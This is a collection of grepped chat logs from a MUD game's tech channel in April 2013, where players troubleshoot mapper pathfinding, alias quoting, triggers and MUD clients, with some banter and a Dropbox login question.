T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: the planes portal is no longer in the portal list
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Fiend, were you saying there's no way to change the depth of pathfinding?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm not saying that. I just don't think it's a good idea
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: even more, i deleted the alias from mush
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you deleted what alias?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: ronin: it is, you're just not seeing it...if the mapper is still using the portal
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: oh wait, scratch that last part
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: ok abe, ill check again
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Vonliege Tech: stand down on my issue, all.. it's not fair that I introduced another issue while one was still outstanding.. I will re-engage later
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Vonliege: enable quicklist mode to solve the freeze
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Vonliege Tech: TY
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the mapper pathfinds all results up front to sort them by distance, but obviously it doesn't need to do that
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I could probably set quicklist by default...
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: you can use "mapper where 29364" to see what the mapper will try to do to reach there
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: that's the planes portal landing room
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: odds are you have the portal duplicated in a cexit from someplace
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: I'm think that might be it vakieh
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Try doing the speedwalk from some random area, and see if it runs you through recall or somewhere consistent along the way
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I can't think of why a room would show up with find and not with list, though
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: give me an example
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: i cant go to fantasy fields or fractured lands without going through the planes
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I can
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Vonliege Tech: update:  mapper is finding rooms much better now.  Status:  Resolved.  Thanks
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: you can, it's just a shorter path
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: btw abe, Room 29364 not found
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Never really understood the relationship between room number in mapper and mudside id personally... sometimes they match up between people, other times not
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: OK, so mapper where 17033 (fractured) uses the planes portal, but mapper where 29364 doesn't?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: ha! there it is. i have an alias set for fractured lands its self, and that uses the planes portal
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: vakieh, they always match up, other than for clanrooms
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Abstraction via variables, aliases, THEN mapper is the best way to avoid these issues
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: the only reason they don't match up for clanrooms is because those are nomap, so the MUD doesn't send the number
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: there are a couple random other rooms as well, but extremely few
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Think it probably had to do with reboots shifting things, but not that big an issue
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Fatal FrostBite Tech: alright gang... bring me up to speed with the mapper. Do you have to make aliases to the start of every area to use the mapper?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Have to? No. Recommended to? sure.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Fatal FrostBite Tech: looking for best practices... Ready GO!!!
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: mapper find <room you want>, mapper goto <that room>
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: weeha!! thanks guys! it was not the planes portal alias that was giving me the problem, but an alias i forgot for fractured lands
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Fatal FrostBite Tech: mapper find locks up Aard for a minute :(
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: You raise your eyebrow at Fatal FrostBite.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You using a Commodore 64 to mud?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: Fatal FrostBite claps at Wreck-It Roninleader's performance.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}RedRain Tech: a minute?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: heh, 1 min for frostbite, 7 mins for vonliege...10 seconds for Fiendish? ;-)
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Fatal FrostBite Tech: I may be exagerating but still... it locks up. I don't like that :(
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: was interesting to see that mudlet's mapper uses A* for its pathfinding
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Even on my cheap as crap lappy and with the search limit increased to 200 with 300 room depth I can still get 200 rooms listed by mapper find in under 1 second
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: 2 practices...(1) yes, make an alias per area that's just "mapper goto <what you consider room 1>"...(2) use winkle's mapper extender, which gives you an "xset" command for room 1, and xrt/xrunto to use those with areanames
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't remember what my mapper uses, but I make pretty clever use of the database
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Fatal FrostBite Tech: I'll look into that, Thanks Abe :) And I do enjoy the mapper Fiend =P
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I kind of want to pull the entire DB into RAM, but people already piss and moan about memory usage
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: heh yeah, you'd get all sorts of memleak "bug reports" doing that
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so currently I only keep things in ram after they get accessed instead of all up front. it's a little game I play where I hide the cost until later
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Delayed ingratification :P
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: people want this to magically be perfect in all cases. they either complain that disk IO is too slow or that ram use is too high
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Daesilme Tech: I'd suggest making it a toggle, so those who have the memory could turn it on, but I'm sure that would open up an entirely different set of issues to deal with.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Pedwiddle Tech: In blowtorch, can you nest aliases?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: yes ped
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: yes
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Fatal FrostBite Tech: what's blowtorch?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: android client
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Fatal FrostBite Tech: oic!
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Fatal FrostBite Tech: anyone have a fav client on iOs devices?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: my favorite is iSSH, but my needs/desires are different ;-)
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: Fatal FrostBite looks your way then covers his mouth, trying to muffle his giggles.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: I don't personally care for using a MUD client on non-laptop mobile devices if you also play from computer...rather use the mobile device to access the computer's real client
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: that way you're not duplicating environments in multiple client setups
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: but my client makes that much easier than other clients
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger crosses his arms and nods sagely to you.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Fatal FrostBite Tech: was thinking of getting a remote client for iOs but that raises another question... Which one? Heard good things about splashtop or whatever it is.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is there an iOS RDP client?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: iSSH is telnet, ssh, VNC, RDP and X11r7 in one
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: with the ability to tunnel the VNC, RDP and X11 through ssh
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: also clients for normal MacOS remote, standalone RDP, VNC and the usual logmein, teamviewer, etc sites
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: weird thing, logmein's client for IOS is free...for android it's $30, so backwards ;-)
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: i would like to escape an apostrophe in much so it doesnt complain about an apostrophe
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Daesilme Tech: In what context, Humbler?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: the problem is that i want to say what's up doc to the guard and put it in my alias so i dont have to retype it each time
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: just say it, or just put it into the alias
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: MUSHclient doesn't care when I do it
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: without apostrophe?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Book of Etzli Tech: MUDside aliases don't like apostrophes. :(
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: thats what i meant etzli, how do i escape the apostrophe?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: that's not MUSH complaining, that's Aard
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you're wrong
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: i apologize, i misunderstood the output
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Book of Etzli Tech: No clue, Humbler.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: alias test heasfasdf'asfd as'fdasdf asdfad -> test                :  heasfasdf'asfd as'fdasdf asdfad
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: is there a workaround?
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: they work just fine
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Fiendish: Try doing it with one apostrophe.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: that's not odd number, fiend
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: you matched your apostrophes
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Book of Etzli Tech: You'll get a mismatched quote error.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: try "alias dofoo say what's up doc"
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: then you'll see what he's getting
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Book of Etzli Tech: I've written a bug report on it before.
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: this will work fine though: alias dofoo 'what's up doc
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: do this...
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: the ' is a MUDwide alias for say, so it matches the apostrophes
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: Book of Etzli once tried "alias setwanted echo Don't waste your tps on"
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: or of course the better answer is to do it in MUSH
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: Humbler thanks you heartily. 
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can also put ; in front of the second '
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: you sir are a genius
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: game -> configure -> aliases, add, put what you want to type in the top skinny field, put say what's up doc in the big field
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: alias dofoo say what's up doc;'lol
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: though you'll want to double the ; as ;; in mushclient
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: heh, interesting hack workaround :P
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Humbler Tech: abel's solution is best, it ommit's say and matches quotes
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: only because you want to start with say
T3/r7/2013-04-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mine works more generically
T3/r7/2013-04-21.txt.gz:{chan ch=tech}Tech: nod, for any non-say alias mine wouldn't work
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: Is there a way to remove an exit permenantly from the mapper? So like if I exit the room and come back again, the exit is still gone?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ayasinda Tech: you mean a normal exit or a custom one?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: A normal exit, custom exits are not added automatically anyways. :)
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ayasinda Tech: Don't think so. If you learn of a way please let me know. Been looking for it myself for a long time.
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ophelion Tech: you can always level lock that exit so mapper won't take that pathway, it's what i do.
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Vonliege Tech: aardmush:  is there a way to sub-catagorize aliases?  in folders, maybe?  I'm getting so many aliases, I can't keep track of 'em all
T3/r7/2013-04-22.txt.gz:{chan ch=tech}ElFeneri Tech: there is a category option
T3/r7/2013-04-22.txt.gz:{chan ch=tech}ElFeneri Tech: or group
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Vonliege Tech: searching.....
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Vonliege Tech: looks like "tree view" is the first step... now trying to figure out how to move them around, and add catagories to the tree
T3/r7/2013-04-22.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: in the alias itself you can change "group" name
T3/r7/2013-04-22.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: think that will add different groups to tree
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Vonliege Tech: ahhhh... thanks
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Vonliege Tech: not exactly a drag-and-drop operation, but it's getting the job done
T3/r7/2013-04-22.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: ah good, I was just guessing
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Rondel Tech: hi guys
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Rondel Tech: using muschclient how would i set a alias to look through X amount of differnt packs
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Rondel Tech: just list them off in it or is there a way to cycle it through?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: how would you do brackets in brackets,eg a getvariable within a execute?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ixle Tech: Anyone ever had the linux dropbox client not let them log in?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: stop the daemone and restart, it'll work
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I can't remember it it's just called dropbox or what, but it'll be in your init.d
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ixle Tech: Heh, too many sign in attmpts atm
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ixle Tech: I got mad and hit enter a few times...
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Tech: Unfriendly Jaenelle snickers softly.
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Go to the web browser and try to login, you might need to verify non-bot
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Or check your email, they might've sent you something
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ixle Tech: I thought I had actually forgotten my password the first time so I reset it. I wonder if that is affecting it.
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah, they set you up a temp pw good for 24 hours, but it lcoks your old one
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ixle Tech: Nothing in email. What are they gonna do with this temp pw?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: They didn't email you when you clicked reset password?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ixle Tech: The first time
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ixle Tech: That was before I locked myself out
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Click the link in that email :P
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: may still work
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: I know I asked this earlier today, but that was like 8-12 hours ago... :P Is there a way to permenantly delete an exit from a room and keep it from coming back again next time I enter the room?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ixle Tech: Ok a reset let me in on the web
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: No, not really
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ixle Tech: Jaenelle did you have a problem with the suggested response of level locking it > 201 ?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: (using the mushclient mapper thingie)
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I just lock the exit
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: Ixle, I just want it to not show up at all. It isn't an exit I'd enter. I'm trying to neaten up my manor area maps. ;)
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ixle Tech: Ah a visual thing then, ok.
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: set the level to 999, then the mapper will never use it, but it will still show up though. Visually, there's no cleaning it :P
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: and I've got 933 unmapped exits in estates 2000 :P
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ixle Tech: I could tell you how to do it in TinTin
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger snickers with Ixle about their shared secret.
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Sure, in my tt+= you just do noexit n, and it'll refuse to add a north exit from that room until i do rexit n
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: Cheezburger, that's exactly what I want to do, but with the aard mapper mush thingie. :P
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I could create a hack for it i'm sure, but I'd ask Fiendish and see if he has plans to incorporate something like that first
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: Cheezburger: *nods* If I catch him online and remember, I will. :) Meanwhile my maps are a mess and I'm feeling too lazy to actually attempt to code anything myself. :P
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ixle Tech: Well finally got logged in to dropbox client but the nautilus integration doesn't seem to be working
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Bujaki Tech: can the midpssh also use mccp?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Bujaki Tech: anyone?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Bujaki Tech: ok thanks
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Tech: it's a telnet/ssh client, not a MUD client, so it doesn't know about the MUD-specific mccp...if you had access to a computer, you could use midpssh to connect to the computer which can proxy the mccp
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Bujaki Tech: okeydokey
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Day the Nightbird Tech: is it possible to make an afk trigger on blowtorch?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}GraySong Gregor Tech: I don't think that is what a blowtorch is for
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ayasinda Tech: if you can make normal triggers it should be possible
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Hanslanda Tech: yep, use "Your eyes glaze over, and you appear to be somewhere else." and then make the action whatever you want.
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Fluffhead Tech: What can't a blowtorch solve??
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Hanslanda Tech: making ice cream.
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Day the Nightbird Tech: lol
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Fluffhead Tech: touche, hanslanda
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Hanslanda Tech: blowtorch also has trouble with "happy endings".
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Day the Nightbird Tech: but i think i phrased that wrong,is it possible to make a trigger that responds to a tell?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}GraySong Gregor Tech: I don't see why you couldn't use a blowtorch to make ice-cream
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ayasinda Tech: yes. But not a 100% safe one
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Hanslanda Tech: so long as you don't care what that tell message is, sure.
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Tech: Day the Nightbird peers intently at GraySong Gregor.
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Nuanse Tech: http://bt.happygoatstudios.com/?view=triggers
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Fluffhead Tech: Definitely don't see why it would have trouble with happy endings...
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Tech: Fluffhead stares at the sky.
T3/r7/2013-04-22.txt.gz:{chan ch=tech}GraySong Gregor Tech: heat is energy
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Hanslanda Tech: who's gonna let you get to home plate wielding a blowtorch?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}GraySong Gregor Tech: who's gonna stop me?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Day the Nightbird Tech: ok i just read the info for triggers on that link and i don't know how any of the regex triggers work(i'm guessing thats what i need for what i want to do)
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ayasinda Tech: what do you want to do?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Day the Nightbird Tech: if i enable the trigger i want it to reply with something like 'Nightbird is afk'
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Day the Nightbird Tech: reply to tells*
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ayasinda Tech: isn't it better to just set afk flag then?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Hanslanda Tech: afk flag doesn't prevent you from disconnection.
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ayasinda Tech: a reply trigger for tells neither
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Hanslanda Tech: it'll reset the timer, though.
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ayasinda Tech: only if you actually get tells. I don't think you want to set an autreply just to prevent disconnection. You can set a disconnection trigger for that
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Vonliege Tech: Your eyes glaze over
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Vonliege Tech: best keep-alive text to trigger off of
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Day the Nightbird Tech: it would be easier to set afk,but i'm trying to learn about triggers..figured i'd start with something simple(or so i thought)
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ayasinda Tech: doesn't it say how to on the bottom of the page?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Day the Nightbird Tech: yes,but i didn't really understand it
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ayasinda Tech: A regex trigger with the pattern "^(.+) has sent you a tell.$" will match text like "Foobar has sent you a tell."     What did you not understand?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Day the Nightbird Tech: well i tried using that for the trigger and its not working
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Day the Nightbird Tech: so i figure i must've misunderstood it
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Tech: two things...(1) you want a much smarter autoreply trigger than that, otherwise you can get into a race condition with someone else's autoreply...(2) turn on tell tags and trigger on the tag
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Tech: by the (1), think of if you and someone else both had the type of autoreply trigger you're describing, and one of you sends a tell to the other...he's autoreply, you'd autoreply to his autoreply, he's autoreply to your autoreply to his autoreply, etc until you're both nochanned
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Ayasinda Tech: agree. would be much wiser
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Day the Nightbird Tech: thanks
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Day the Nightbird Tech: abelinc,i triggered it on the tag,but then when i send a tell it starts spamming the reply to me,any idea why?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}Quadrapus Tech: Anyone ever use MPR121 breakouts?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}TrEz Tech: anyone here savvy with Prolog ?
T3/r7/2013-04-22.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I was in college
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: Many people using tintin here?
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: type "clients"
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: a couple dozen, was looking for some ex. gmcp code
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: 14 is not a couple dozen.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Last I checked.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: sorry just over a dozen
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tharnin Tech: Finger Ixle, go to his web address, he maintains/curates tintin stuff.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: ixle's got a setup
T3/r7/2013-04-23.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: depends.. I had a couple dozen donts, then I ate 10 of them...
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers with (Overlord) Onslaught about their shared secret.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: cheezburger did lots of it, ixle put together a nice package of it
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: Tharnin nods at you in agreement. 
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: That will be nice.  Some exapmples will get me started a lost faster.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: I know I drop out and use other languages too.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: It's amazing how many people are using the aard mush
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Bertilak Tech: why is it amazing? it works extremely well
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: not really.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: so does zmud
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Not really to the amazing part, I mean.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: it's actively-maintained, works on anything with an Intel/AMD chip, and includes damn near everything out of the box :-)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: it it weren't for breakou windows...
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: and free
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: The biggest advantage to MUSH is that it comes prepackaged with a lot of scripts people want, and it's actively being worked on.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: zmud doesn't support GMCP without a proxy
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Not to mention that it is free.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: semi-actively
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: More actively than CMUD is being worked on, then. ;)
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Bertilak Tech: its more amazing that there are people who use clients OTHER than the aard mushclient :P
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Not really, Bertilak.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Jhav Tech: Inertia is a powerful force.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: Exactly.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I keep getting sidetracked on stupid projects which slow down the pace of updates
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Ranrr Tech: Not technically a force, though.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Thorzan Tech: I would say the biggest reason is people don't have to do much work to play.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: I've been using my client longer than all those other clients have existed ;-)
